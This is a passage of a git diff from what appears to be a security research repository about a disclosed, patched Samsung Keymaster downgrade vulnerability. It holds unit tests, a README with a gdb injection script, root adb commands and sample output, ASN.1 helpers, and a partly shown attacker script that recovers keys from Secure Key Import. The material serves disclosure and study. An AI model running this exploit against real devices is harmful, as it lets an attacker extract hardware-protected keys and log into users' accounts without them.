param_set.params[3].tag && + KM_MODE_GCM == param_set.params[3].integer); + + CHECK(KM_TAG_MIN_MAC_LENGTH == param_set.params[4].tag && + 128 == param_set.params[4].integer); + + CHECK(KM_TAG_MAC_LENGTH == param_set.params[5].tag && + 128 == param_set.params[5].integer); + + if (1 == i) { + CHECK(KM_TAG_NONCE == param_set.params[6].tag && + 0 == memcmp(param_set.params[6].blob.data, req.nonce.data, req.nonce.len)); + } + + keymaster_free_param_set(¶m_set); + } + + // not gcm + for (int i = 0; i < 2; ++i) { + memset(&req, 0, sizeof(req)); + req.mode = KM_MODE_ECB; + if (1 == i) { + req.nonce.data = (uint8_t *)"nonce"; + req.nonce.len = 5; + } + + CHECK(0 == add_int_to_param_set(¶m_set, KM_TAG_KEY_SIZE, 256)); + + CHECK(KM_RESULT_SUCCESS == add_aes_parameters(&req, ¶m_set)); + + if (1 == i) { + CHECK(7 == param_set.len); + } + else { + CHECK(6 == param_set.len); + } + + CHECK(KM_TAG_ALGORITHM == param_set.params[1].tag && + KM_ALGORITHM_AES == param_set.params[1].integer); + + CHECK(KM_TAG_NO_AUTH_REQUIRED == param_set.params[2].tag && + param_set.params[2].boolean); + + CHECK(KM_TAG_BLOCK_MODE == param_set.params[3].tag && + KM_MODE_ECB == param_set.params[3].integer); + + CHECK(KM_TAG_BLOCK_MODE == param_set.params[4].tag && + KM_MODE_CBC == param_set.params[4].integer); + + CHECK(KM_TAG_BLOCK_MODE == param_set.params[5].tag && + KM_MODE_CTR == param_set.params[5].integer); + + if (1 == i) { + CHECK(KM_TAG_NONCE == param_set.params[6].tag && + 0 == memcmp(param_set.params[6].blob.data, req.nonce.data, req.nonce.len)); + } + + keymaster_free_param_set(¶m_set); + } + + ret = TEST_SUCCESS; + +cleanup: + keymaster_free_param_set(¶m_set); + + END_TEST(ret); +} + +int test_add_rsa_parameters(void) +{ + keymaster_key_param_set_t param_set = {0}; + key_request_t req; + + int ret = TEST_FAILED; + BEGIN_TEST("add_rsa_parameters"); + + memset(&req, 0, sizeof(req)); + req.public_exponent = 0x10001; + + CHECK(0 == add_int_to_param_set(¶m_set, KM_TAG_KEY_SIZE, 4096)); + + CHECK(KM_RESULT_SUCCESS == add_rsa_parameters(&req, ¶m_set)); + + CHECK(4 == param_set.len); + + CHECK(KM_TAG_ALGORITHM == param_set.params[1].tag && + KM_ALGORITHM_RSA == param_set.params[1].integer); + + CHECK(KM_TAG_NO_AUTH_REQUIRED == param_set.params[2].tag && + param_set.params[2].boolean); + + CHECK(KM_TAG_RSA_PUBLIC_EXPONENT == param_set.params[3].tag && + req.public_exponent == param_set.params[3].integer); + + ret = TEST_SUCCESS; + +cleanup: + keymaster_free_param_set(¶m_set); + + END_TEST(ret); +} + +int test_add_ec_parameters(void) +{ + keymaster_key_param_set_t param_set = {0}; + key_request_t req; + + int ret = TEST_FAILED; + BEGIN_TEST("add_ec_parameters"); + + memset(&req, 0, sizeof(req)); + + CHECK(0 == add_int_to_param_set(¶m_set, KM_TAG_KEY_SIZE, 4096)); + + CHECK(KM_RESULT_SUCCESS == add_ec_parameters(&req, ¶m_set)); + + CHECK(3 == param_set.len); + + CHECK(KM_TAG_ALGORITHM == param_set.params[1].tag && + KM_ALGORITHM_EC == param_set.params[1].integer); + + CHECK(KM_TAG_NO_AUTH_REQUIRED == param_set.params[2].tag && + param_set.params[2].boolean); + + ret = TEST_SUCCESS; + +cleanup: + keymaster_free_param_set(¶m_set); + + END_TEST(ret); +} + +int test_init_key_request(void) +{ + keymaster_key_param_set_t param_set = {0}; + key_request_t req; + + int ret = TEST_FAILED; + BEGIN_TEST("init_key_request"); + + // test basic key request (256-AES-GCM) + set_default_key_request(&req); + + CHECK(KM_RESULT_SUCCESS == init_key_request(&req, ¶m_set)); + + CHECK(7 == param_set.len); + + CHECK(KM_TAG_DIGEST == param_set.params[0].tag && + KM_DIGEST_NONE == param_set.params[0].integer); + + CHECK(KM_TAG_KEY_SIZE == param_set.params[1].tag && + 256 == param_set.params[1].integer); + + CHECK(KM_TAG_ALGORITHM == param_set.params[2].tag && + KM_ALGORITHM_AES == param_set.params[2].integer); + + CHECK(KM_TAG_NO_AUTH_REQUIRED == param_set.params[3].tag && + param_set.params[3].boolean); + + CHECK(KM_TAG_BLOCK_MODE == param_set.params[4].tag && + KM_MODE_GCM == param_set.params[4].integer); + + CHECK(KM_TAG_MIN_MAC_LENGTH == param_set.params[5].tag && + 128 == param_set.params[5].integer); + + CHECK(KM_TAG_MAC_LENGTH == param_set.params[6].tag && + 128 == param_set.params[6].integer); + + ret = TEST_SUCCESS; + +cleanup: + keymaster_free_param_set(¶m_set); + + END_TEST(ret); +} diff --git a/poc/downgrade/README.md b/poc/downgrade/README.md new file mode 100644 index 0000000..99129dc --- /dev/null +++ b/poc/downgrade/README.md @@ -0,0 +1,222 @@ +# Downgrade Attack + +## Summary + +A privileged active attacker can extract private keys from the TrustZone, such as the keys used by the Secure Key Import and FIDO2 WebAuthn. + +The attacker can force the Keymaster TA (Trusted Application) to generate hardware-protected keys and encrypt them in a way that is vulnerable to an IV reuse attack. The attacker is then able to exploit this vulnerability and recover the private keys. + +This vulnerability follows [CVE-2021-25444](../iv_reuse/README.md), where we found that the Keymaster TA is vulnerable to an IV reuse attack that leads to immediate key recovery if the key derivation is deterministic - which is the case in v15 blobs and also v20 blobs on S9. Overall, every blob that is generated or imported into S9 can be fully recovered (and the following attacks also apply to S9). + +In this attack, we show that an attacker can exploit the fact that newer devices - Galaxy S10, Galaxy S20, and Galaxy S21 - contained latent code that handles v15 key blobs encryption that is also vulnerable to IV reuse attacks. We show two realistic scenarios where the attacker can exploit this latent code to recover hardware-protected private keys. We show how using these private keys, the attacker can break the Secure Key Import protocol and bypass presence authentication in FIDO2. + +The root cause of the vulnerability is the ability of an attacker with sufficient permissions (application context or root and SELinux context) in the Normal World to set the `KM_EKEY_BLOB_ENC_VER` tag in the ekey blob that the Keymaster TA checks in order to decide whether to encrypt with v15 or v20 encryption version. Additionally, there is latent code for the v15 encryption version which uses a deterministic KDF - therefore an attacker can perform the IV reuse attack on AES-GCM that we've shown in [CVE-2021-25444](../iv_reuse/README.md) and recover the full key material. + +Affected models included models that were sold with Android P or later, including Samsung Galaxy S10, S20, and S21. Samsung assigned [CVE-2021-25490](https://security.samsungmobile.com/securityUpdate.smsb?year=2021&month=10) with High severity to the issue and released a patch that completely removes the legacy key blob implementation. + +## Attack description + +Consider an attack model where a device is infected with malware that has sufficient permissions to change the behavior of the Keystore daemon in the Normal World so that `generateKey`/`importKey` will add the `KM_EKEY_BLOB_ENC_VER` to the ekey blob before passing it to the TrustZone driver. + +This can be done in various ways, e.g. malware with root permissions (e.g. after exploiting CVE-2020-28343), malware with code execution in the `keystored` process (e.g. by exploiting a memory corruption) or even a supply chain attack that patches the keystored process. + +In this attack scenario, an attacker can force all new key blobs to become v15 and thus vulnerable to our attack (e.g. the PoC that we provided will extract the full key material). This is interesting since all future use of the device is impacted. The most impact is done in one of the following scenarios: + +### Secure Key Import + +The first interesting case is [Secure Key Import](https://developer.android.com/training/articles/keystore#ImportingEncryptedKeys). + +As mentioned by Google in their [blog](https://security.googleblog.com/2018/12/new-keystore-features-keep-your-slice.html), this feature can be used by enterprises to securely share remote keys with devices, for instance SSH, RDP or S/MIME encryption keys. They also mention that Google Pay uses it to provision keys. + +If a device that is used by an employee is compromised before the generation of the Wrapping Key Pair (in the Secure Key Import protocol - see the diagram in Google's blog), the Secure Key Import flow will be as [follows](https://developer.android.com/reference/android/security/keystore/WrappedKeyEntry): + +1. The app calls `generateKey` to create the Wrapping Key Pair. When the Wrapping Key Pair is generated, the attacker will force the Keymaster TA to return a v15 ekey blob - let `wrappingKeyBlob` be the ekey blob. +2. The Wrapping Key Pair is attested and the attestation certificate is sent to the remote server - as usual [1]. +3. The server verifies the attestation certificate - as usual [1]. +4. The server generates an AES-GCM-256 key called `ephemeralKey`, xors it with a 32-bit value called `maskingKey` to get `transportKey`. +5. The server uses `ephemeralKey` and `initializationVector` to encrypt the key that it wants to import with AES-GCM - let's call the plaintext `keyData`, the ciphertext `encryptedKey` and let `tag` be the GCM tag. +6. The server uses the public key of `wrappingKeyBlob` to encrypt `transportKey` with RSA to get `encryptedTransportKey`. +7. The server sends `SecureKeyWrapper` which includes `encryptedTransportKey`, `initializationVector`, `encryptedKey` and `tag`. +8. Finally, Android asks Trustzone to securely import the wrapped key. Trustzone then uses `wrappingKeyBlob` (validates that it’s RSA with OAEP) to decrypt `transportKey`, xors it with `maskingKey` to get `ephemeralKey` and uses it and initalizationVector to decrypt keyData - then imports keyData. + +The attacker needs to intercept `SecureKeyWrapper`, e.g. by viewing the memory of the application when it receives it, sniffing the network etc. Then he can use the IV reuse attack against the v15 blob `wrappingKeyBlob` to recover the private wrapping-key material and perform the final step 8 on his own to extract the keyData from the intercepted `SecureKeyWrapper`. + +Overall, the attacker recovers the full key material of the secret server key in Normal World. +If the keys are shared with other devices, the attacker can steal valuable data and perform lateral movement (e.g. by connecting to other devices with SSH/RDP keys). Another example is if the keys are used by sensitive financial applications such as Google Pay or Samsung Pay. + +The following figure[^1] from the paper illustrates the attack (in a simplified flow): ![secure_key_import.png](/images/secure_key_import.png "secure_key_import.png") + +--- + +[1] The tag `KM_EKEY_BLOB_ENC_VER` is not included in the attestation [2], and attestation passes because the wrapping key is in secure hardware and has the expected key parameters (e.g. origin is ORIGIN_GENERATED). + +[2] See [Verifying hardware-backed key pairs with Key Attestation](https://developer.android.com/training/articles/security-key-attestation) and [Key and ID Attestation](https://source.android.com/security/keystore/attestation) for the list of key parameters that are in the attestation certificate. + +---- + +### FIDO2 WebAuthn + +The second interesting case is FIDO2 [WebAuthn](https://www.w3.org/TR/webauthn-2/), which allows the creation and use of public-key cryptography to register and authenticate to websites instead of passwords. Android devices can use the Android Hardware-backed Keystore as a platform authenticator in order to perform the two main stages of WebAuthn: + +1. Registration: the device creates a key pair and sends an attestation to the web server. If successful (attestation is verified), the server remembers the public key for the user. +2. Assertion: to login, the server sends a challenge to the device, the device requires user presence and authentication (e.g. biometric prompt) and after the user agrees signs the challenge with the private key that is in TrustZone. If the server verifies the signature (with the public key) - the user is logged in. + +If the attacker forces new keys (during `generateKey`) to return v15 blobs, then after registration is complete the attacker can use the IV reuse attack to recover the full key material of the private key. Then, the attacker can login to the registered website whenever he desires - without user presence or authentication - by simply signing the Assertion challenge with the private key. This can lead to revealing sensitive data, stealing money (e.g. Paypal.com) or identity theft. + +To demonstrate the downgrade attack, we attached `gdb_server` to the `android.hardware.keymaster@4.0-service` process, then ran the following commands (to add the `enc_ver` key parameter and force blobs to be generated as v15): + +```gdb +# break before calling the keymaster +b *(nwd_generate_key + 100) + +commands +printf "intercepted request to nwd_generate_key\n" + +set $sizeof_param = (long)0x18 +set $params = *(char **)$x21 +set $num_params = *(long long *)($x21 + 8) +set $old_size = $num_params * $sizeof_param +set $new_size = $old_size + $sizeof_param + +printf "copy old key parameters to new buffer\n" +set $new_params = (char *)malloc($new_size) +call (long)memset($new_params, 0, $new_size) +call (long)memcpy($new_params, $params, $old_size) + +printf "add new parameter (KM_EKEY_BLOB_ENC_VER, 15)\n" +set *(long long *)($new_params + $old_size) = 0x30001390 +set *(long long *)($new_params + $old_size + 8) = 0xf + +printf "switch to new parameters - this forces the generation of a v15 blob\n" +set *(long long *)($x21) = $new_params +set *(long long *)($x21 + 8) = $num_params + 1 + +continue +end + +b *(nwd_generate_key + 148) + +commands +printf "dump the key blob that the keymaster returned\n" +set $len = *(char **)($x20 + 8) +set $start = *(char **)$x20 +set $end = (char **)((long long)$start + $len) +printf "start %p, end %p, len %x\n", $start, $end, $len +dump binary memory result.bin $start $end +printf "dumped to result.bin\n" +continue +end +``` + +The following figure[^1] from the paper illustrates the attack (in a simplified flow): ![fido2.png](/images/fido2.png "fido2.png") + +## PoC + +To reproduce the PoC, perform the following steps: + +1. Upload `keybuster` to the device (`adb push`) to `/data/local/tmp/` + - If needed, compile it with `ndk-build -C jni` +2. Upload the PoC script (`poc_s10_secure_key_import.sh`) and the key that it uses to `/data/local/tmp/` +3. Set executable permissions `chmod +x /data/local/tmp/poc*` +4. Execute the PoC script +5. Download the `recovered-wrapping_key` to the desktop computer and continue the attack there +6. Run the server PoC script (`poc_server.py`) on the computer + +An example of commands to run on the desktop computer: +```bash +adb push keybuster /data/local/tmp/keybuster # can compile with `ndk-build -C jni` if needed +adb push poc_s10_secure_key_import.sh /data/local/tmp/ +adb push rsa-4096-private-key.p8 /data/local/tmp/ +``` + +An example of commands to run on the device: +```bash +adb shell +su # enter a strong context, e.g. by rooting with Magisk +cd /data/local/tmp +chmod +x poc* +./poc_s10_secure_key_import.sh +``` + +Then, run the following commands on the desktop computer: +```bash +# download the file of the recovered plaintext key material of the wrapping key (that the PoC on the device produced) +adb pull /data/local/tmp/recovered-wrapping_key + +# Optional: verify correctness with "openssl rsa -inform DER -in recovered-wrapping_key -check -text" +# It should work as long as the key that we import (rsa-4096-private-key.p8) is longer which in our tests is always the case. + +# convert recovered key to PEM +openssl rsa -inform DER -in recovered-wrapping_key -out pkey.pem + +# create a python environment and install requirements +python3 -m venv .venv +source .venv/bin/activate +pip install -r poc_requirements.txt + +# emulate the server after attestation and create server-secret-for-reference.bin to later verify the correctness of the attack +python poc_server.py pkey.pem out mask + +# emulate the attacker and recover the secret +python poc_attacker.py pkey.pem out mask + +# check that the attacker fully recovered the secret +diff server-secret-for-reference.bin recovered-secret.bin +echo $? +``` + +An example of the outputs in a successful attack: + +1. On the Android device, e.g. S10: +```bash + # ./poc_s10_secure_key_import.sh +Attack log: /data/local/tmp/attack.log +---------------------------------------------------------------------------------------------------- +1. Generating RSA wrapping key as v15 ekey blob... (wait for it) done +---------------------------------------------------------------------------------------------------- +2. Extract the IV and encrypted ASN1 of the ekey blob... done +---------------------------------------------------------------------------------------------------- +3. reuse the IV of the target blob to import a known key (must be larger)... done +---------------------------------------------------------------------------------------------------- +4. perform the IV reuse attack to recover the private key material of wrapping key... done +---------------------------------------------------------------------------------------------------- +On your computer, download the recovered key using "adb pull /data/local/tmp/recovered-wrapping_key" +then verify it with "openssl rsa -inform DER -in recovered-wrapping_key -check -text" +``` + +2. On a computer (note: the secret and other keys are randomized in each server execution): + +```bash +$ python scripts/poc_server.py pkey.pem out mask +[DEBUG] wrapping_key_public.e: 0x10001 +[INFO] secret: b'0e735899e919823708bb04abb8de9ca618437a8ee41f1c2d9d038161c40c9de9' +[DEBUG] creating server-secret-for-reference.bin +[DEBUG] iv: b'3411dd3ec6932a8b8987d2e0' +[DEBUG] ephemeral_key: b'38381e2462da4ebf4f0bf304b233f3e96ca1082d309b8a7ac8f7db5145fd8df2' +[DEBUG] xor_mask: b'0000000000000000000000000000000000000000000000000000000000000000' +[DEBUG] transport_key: b'38381e2462da4ebf4f0bf304b233f3e96ca1082d309b8a7ac8f7db5145fd8df2' +[DEBUG] wrapping the transport key with the public RSA wrapping key +[DEBUG] encrypting the secure secret with the AES ephermeral key +[DEBUG] encrypted_secret: b'6cb0284d7c8b3f4f38ac29fa44feb890a75aedbe52ad28126f03e1bfa2a51f42' +[DEBUG] tag: b'4d1711c66176669997f39bfa0ef6deec' +[DEBUG] creating out +[DEBUG] creating mask + +$ python scripts/poc_attacker.py pkey.pem out mask +[DEBUG] wrapping_key_private.d: 0x348994d73e8272ba1cc29ae749a2386fb59ad0bab1ece1c171f3571619a2d44128cd0a365c5e8328ea867bb69c2dfb2c1f143936757d464ad358b7ebe4f5263e5461e377eb593101429bfc1d97cc3336ccdbea0cc97525b93f78f6825a90cec3c0f0b95572b3444391b0e3b39e363c81e0526f8b65030b0c91cbfe5254294f27cf16660867ac83aef96a5825163541c29dfcdaeeda5916f4140ffe2aa73deb61ae87ba4b15286247058ff436b947ce99f26d0495ac384dbb67d850c1a572b88eee7151627855cd3051ddb64abeaa8cefc60d5eed294c6823ab74f3dcc05a49cfadcd34ead038b063f70e442473e29dc47e874064259cab33d894a7a40caa8f05f8a0d8d4bb0b2454700509e0221ce49e9a0efe7765190746b1856437e11ed617a2ecd46327abc29b853496c5a33419cfd9522b26a3aeadded7e5c1e2936006e4d0523b8a0835a5e501031a0c21f82973f8955f7ac74aa7ce5a14ae6cb00943d948679994523f03e2178a2ffa8d8ad75032454acaa80e8a63a9ffe01b24f0f1bfb0c0c92e391de01eb4ffca4ba4884ecf8ca26da81613df2dae437f293ffc525acd62d90b48ba02347c3341b2b359fcb0e2e71419c3e9844f8e7e0f0fbea3e5260bb9471788cc0fce0ef78572fa0408b7b1d64a15d21a27a4134bbbb85368c1d4d28ab3d81de2b564d620833b8100329c8c6c3df0e3dbf288b0f578c28d208f1 +[DEBUG] encrypted_transport_key: b'2052fee458a08ab3a6c0ee0ec16cde40b11606f41366bf35e456e477ff878fc6422cb8c5be8f8818301235cdad589fe0354690233fe092c814b6c1db699999048765f4b0ea579e9d71f1e697dad109e597a304dc7a383f6f12e3d9c24984b2e94d09fa0e93a88e82552f71319e36bd199db684550b5a3932b80c763d8fa5e275f3987c47cceb52709018ad31fe0742c7c26692e5a21ea2f2261cd9d60948a6be06dd936dc85b2764c0f044bbad9be94d983b23f0f84296aea0659f484bf31e3548055ddded2b97599c5119dd023ad356ee2763f479e9784116cca0666b4048ac8cc1a0c2f181eed8be84e4a3814802cd7ebcf4ac5f3ae2306b8f7bc95bf780192c65b8231cff152a2d38cefc1579ebc959cbdfca6b2871875a26cd9672701acfa00f5d896a52ad6a9c47f2bfa2b391f25fd89ee9acec9a12c84d68205f79fbd30645541c6efe3c21ee3bf3c9d1e99b8025eb4797597033164f818d0dbfb955ce097f130ee3eb963fb7915a0742e7cf5e174fc21d2bc9d1a4195059d35bc264fe7fe882f6e3074a3be0a7187e18974409fecb63cd276e38459fcb8335702583004cb2b92ec057c8f9460474f80354a6c3e80e8992695117a5d93d093bb13035ebd2c47eb8f8e2bc3788bd765de801229ee34402a5a05d1c0ed710a2bc46aee48089698ab68df50a37e9055460500e52afed8db31af511c3f33947d3c7a7b8d0aa' +[DEBUG] iv: b'3411dd3ec6932a8b8987d2e0' +[DEBUG] encrypted_secret: b'6cb0284d7c8b3f4f38ac29fa44feb890a75aedbe52ad28126f03e1bfa2a51f42' +[DEBUG] tag: b'4d1711c66176669997f39bfa0ef6deec' +[DEBUG] unwrapping the transport key with the recovered private RSA wrapping key +[DEBUG] decrypted transport_key: b'38381e2462da4ebf4f0bf304b233f3e96ca1082d309b8a7ac8f7db5145fd8df2' +[DEBUG] ephemeral_key: b'38381e2462da4ebf4f0bf304b233f3e96ca1082d309b8a7ac8f7db5145fd8df2' +[DEBUG] decrypting the secure secret with the AES ephermeral key +[INFO] decrypted secret: b'0e735899e919823708bb04abb8de9ca618437a8ee41f1c2d9d038161c40c9de9' + +$ diff server-secret-for-reference.bin recovered-secret.bin +$ echo $? +0 +``` + +[^1]: Designed using resources from Flaticon.com diff --git a/poc/downgrade/poc_asn1.py b/poc/downgrade/poc_asn1.py new file mode 100644 index 0000000..426184e --- /dev/null +++ b/poc/downgrade/poc_asn1.py @@ -0,0 +1,185 @@ +from pyasn1.type.namedtype import NamedTypes, NamedType, OptionalNamedType +from pyasn1.type.tag import Tag, tagClassContext, tagFormatSimple +from pyasn1.type.univ import Sequence, Integer, Boolean, Enumerated, OctetString, Null, SetOf +from pyasn1.codec.der.decoder import decode +from pyasn1.codec.der.encoder import encode + + +class RootOfTrust(Sequence): + """ + RootOfTrust ::= SEQUENCE { + verifiedBootKey OCTET_STRING + deviceLocked BOOLEAN + verifiedBootState ENUMERATED + verifiedBootHash OCTET_STRING + } + """ + + componentType = NamedTypes( + NamedType('verifiedBootKey', OctetString()), + NamedType('deviceLocked', Boolean()), + NamedType('verifiedBootKey', Enumerated()), + NamedType('verifiedBootHash', OctetString()) + ) + + +class AuthorizationList(Sequence): + """ + AuthorizationList ::= SEQUENCE { + purpose [1] EXPLICIT SET OF INTEGER OPTIONAL, + algorithm [2] EXPLICIT INTEGER OPTIONAL, + keySize [3] EXPLICIT INTEGER OPTIONAL, + digest [5] EXPLICIT SET OF INTEGER OPTIONAL, + padding [6] EXPLICIT SET OF INTEGER OPTIONAL, + ecCurve [10] EXPLICIT INTEGER OPTIONAL, + rsaPublicExponent [200] EXPLICIT INTEGER OPTIONAL, + rollbackResistance [303] EXPLICIT NULL OPTIONAL, + activeDateTime [400] EXPLICIT INTEGER OPTIONAL, + originationExpireDateTime [401] EXPLICIT INTEGER OPTIONAL, + usageExpireDateTime [402] EXPLICIT INTEGER OPTIONAL, + noAuthRequired [503] EXPLICIT NULL OPTIONAL, + userAuthType [504] EXPLICIT INTEGER OPTIONAL, + authTimeout [505] EXPLICIT INTEGER OPTIONAL, + allowWhileOnBody [506] EXPLICIT NULL OPTIONAL, + trustedUserPresenceRequired [507] EXPLICIT NULL OPTIONAL, + trustedConfirmationRequired [508] EXPLICIT NULL OPTIONAL, + unlockedDeviceRequired [509] EXPLICIT NULL OPTIONAL, + allApplications [600] EXPLICIT NULL OPTIONAL, + applicationId [601] EXPLICIT OCTET_STRING OPTIONAL, + creationDateTime [701] EXPLICIT INTEGER OPTIONAL, + origin [702] EXPLICIT INTEGER OPTIONAL, + rootOfTrust [704] EXPLICIT RootOfTrust OPTIONAL, + osVersion [705] EXPLICIT INTEGER OPTIONAL, + osPatchLevel [706] EXPLICIT INTEGER OPTIONAL, + attestationApplicationId [709] EXPLICIT OCTET_STRING OPTIONAL, + attestationIdBrand [710] EXPLICIT OCTET_STRING OPTIONAL, + attestationIdDevice [711] EXPLICIT OCTET_STRING OPTIONAL, + attestationIdProduct [712] EXPLICIT OCTET_STRING OPTIONAL, + attestationIdSerial [713] EXPLICIT OCTET_STRING OPTIONAL, + attestationIdImei [714] EXPLICIT OCTET_STRING OPTIONAL, + attestationIdMeid [715] EXPLICIT OCTET_STRING OPTIONAL, + attestationIdManufacturer [716] EXPLICIT OCTET_STRING OPTIONAL, + attestationIdModel [717] EXPLICIT OCTET_STRING OPTIONAL, + vendorPatchLevel [718] EXPLICIT INTEGER OPTIONAL, + bootPatchLevel [719] EXPLICIT INTEGER OPTIONAL, + } + """ + + componentType = NamedTypes( + OptionalNamedType('purpose', SetOf(componentType=Integer()).subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 1))), + OptionalNamedType('algorithm', Integer().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 2))), + OptionalNamedType('keySize', Integer().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 3))), + OptionalNamedType('digest', SetOf(componentType=Integer()).subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 5))), + OptionalNamedType('padding', SetOf(componentType=Integer()).subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 6))), + OptionalNamedType('ecCurve', Integer().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 10))), + OptionalNamedType('rsaPublicExponent', Integer().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 200))), + OptionalNamedType('rollbackResistance', Null().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 303))), + OptionalNamedType('activeDateTime', Integer().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 400))), + OptionalNamedType('originationExpireDateTime', Integer().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 401))), + OptionalNamedType('usageExpireDateTime', Integer().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 402))), + OptionalNamedType('noAuthRequired', Null().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 503))), + OptionalNamedType('userAuthType', Integer().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 504))), + OptionalNamedType('authTimeout', Integer().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 505))), + OptionalNamedType('allowWhileOnBody', Null().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 506))), + OptionalNamedType('trustedUserPresenceRequired', Null().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 507))), + OptionalNamedType('trustedConfirmationRequired', Null().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 508))), + OptionalNamedType('unlockedDeviceRequired', Null().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 509))), + OptionalNamedType('allApplications', Null().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 600))), + OptionalNamedType('applicationId', OctetString().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 601))), + OptionalNamedType('creationDateTime', Integer().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 701))), + OptionalNamedType('origin', Integer().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 702))), + OptionalNamedType('rootOfTrust', RootOfTrust().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 704))), + OptionalNamedType('osVersion', Integer().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 705))), + OptionalNamedType('osPatchLevel', Integer().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 706))), + OptionalNamedType('attestationApplicationId', OctetString().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 709))), + OptionalNamedType('attestationIdBrand', OctetString().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 710))), + OptionalNamedType('attestationIdDevice', OctetString().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 711))), + OptionalNamedType('attestationIdProduct', OctetString().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 712))), + OptionalNamedType('attestationIdSerial', OctetString().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 713))), + OptionalNamedType('attestationIdImei', OctetString().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 714))), + OptionalNamedType('attestationIdMeid', OctetString().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 715))), + OptionalNamedType('attestationIdManufacturer', OctetString().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 716))), + OptionalNamedType('attestationIdModel', OctetString().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 717))), + OptionalNamedType('vendorPatchLevel', Integer().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 718))), + OptionalNamedType('bootPatchLevel', Integer().subtype( + explicitTag=Tag(tagClassContext, tagFormatSimple, 719))), + ) + + +class KeyDescription(Sequence): + """ + KeyDescription ::= SEQUENCE { + keyFormat INTEGER, + authorizationList AuthorizationList + } + """ + + componentType = NamedTypes( + NamedType('keyFormat', Integer()), + NamedType('keyParams', AuthorizationList()) + ) + + +class SecureKeyWrapper(Sequence): + """ + SecureKeyWrapper ::= SEQUENCE { + wrapperFormatVersion INTEGER, + encryptedTransportKey OCTET_STRING, + initializationVector OCTET_STRING, + keyDescription KeyDescription, + secureKey OCTET_STRING, + tag OCTET_STRING + } + """ + + componentType = NamedTypes( + NamedType('version', Integer()), + NamedType('encryptedTransportKey', OctetString()), + NamedType('initializationVector', OctetString()), + NamedType('keyDescription', KeyDescription()), + NamedType('encryptedKey', OctetString()), + NamedType('tag', OctetString()) + ) + + +def encode_secure_key_wrapper(wrapper): + return encode(wrapper) + + +def decode_secure_key_wrapper(data): + return decode(data, asn1Spec=SecureKeyWrapper()) diff --git a/poc/downgrade/poc_attacker.py b/poc/downgrade/poc_attacker.py new file mode 100644 index 0000000..d225060 --- /dev/null +++ b/poc/downgrade/poc_attacker.py @@ -0,0 +1,112 @@ +from binascii import hexlify + +import logging +import click + +from Crypto.PublicKey import RSA +from Crypto.Cipher import AES, PKCS1_OAEP +from Crypto.Hash import SHA256, SHA1 +from Crypto.Signature import pss + +from poc_asn1 import decode_secure_key_wrapper + +logging.basicConfig(format='[%(levelname)s] %(message)s', level=logging.DEBUG) + + +def unwrap(wrapping_key_private, ciphertext): + """ + RSA-OAEP key unwrapping. + + Args: + wrapping_key_private: The recovered private key material of the wrapping key + ciphertext: The ciphtertext to unwrap + """ + rsa_cipher = PKCS1_OAEP.new( + key=wrapping_key_private, hashAlgo=SHA256, mgfunc=lambda x, y: pss.MGF1(x, y, SHA1)) + return rsa_cipher.decrypt(ciphertext) + + +def decrypt_and_verify(key, iv, ciphertext, tag): + """ + AES-GCM decryption. + + Args: + key: The AES encryption key + iv: The AES initialization vector + plaintext: The plaintext to encrypt + """ + aes_cipher = AES.new(key, AES.MODE_GCM, iv) + return aes_cipher.decrypt_and_verify(ciphertext, tag) + + +def emulate_attacker(wrapping_key_private, encoded_secure_key_wrapper, xor_mask): + """ + Emulate the attacker after recovering the wrapping key and intercepting SecureKeyWrapper during Secure Key Import. + + The attacker simply performs the final step of Secure Key Import by himself. + + See the disclosure and https://android.googlesource.com/platform/hardware/interfaces/+/master/keymaster/4.0/IKeymasterDevice.hal#548. + + Args: + wrapping_key_private: The recovered private RSA wrapping key (from IV reuse attack). + encoded_secure_key_wrapper: Intercepted SecureKeyWrapper ASN1 (e.g. from app or from network). + xor_mask: Intercepted maskingKey (e.g. from app or from network). + """ + secure_key_wrapper, _ = decode_secure_key_wrapper(encoded_secure_key_wrapper) + + encrypted_transport_key = secure_key_wrapper['encryptedTransportKey'].asOctets() + logging.debug(f'encrypted_transport_key: {hexlify(encrypted_transport_key)}') + + iv = secure_key_wrapper['initializationVector'].asOctets() + logging.debug(f'iv: {hexlify(iv)}') + + encrypted_secret = secure_key_wrapper['encryptedKey'].asOctets() + logging.debug(f'encrypted_secret: {hexlify(encrypted_secret)}') + + tag = secure_key_wrapper['tag'].asOctets() + logging.debug(f'tag: {hexlify(tag)}') + + logging.debug(f'unwrapping the transport key with the recovered private RSA wrapping key') + transport_key = unwrap(wrapping_key_private, encrypted_transport_key) + logging.debug(f'decrypted transport_key: {hexlify(transport_key)}') + + # xor with mask 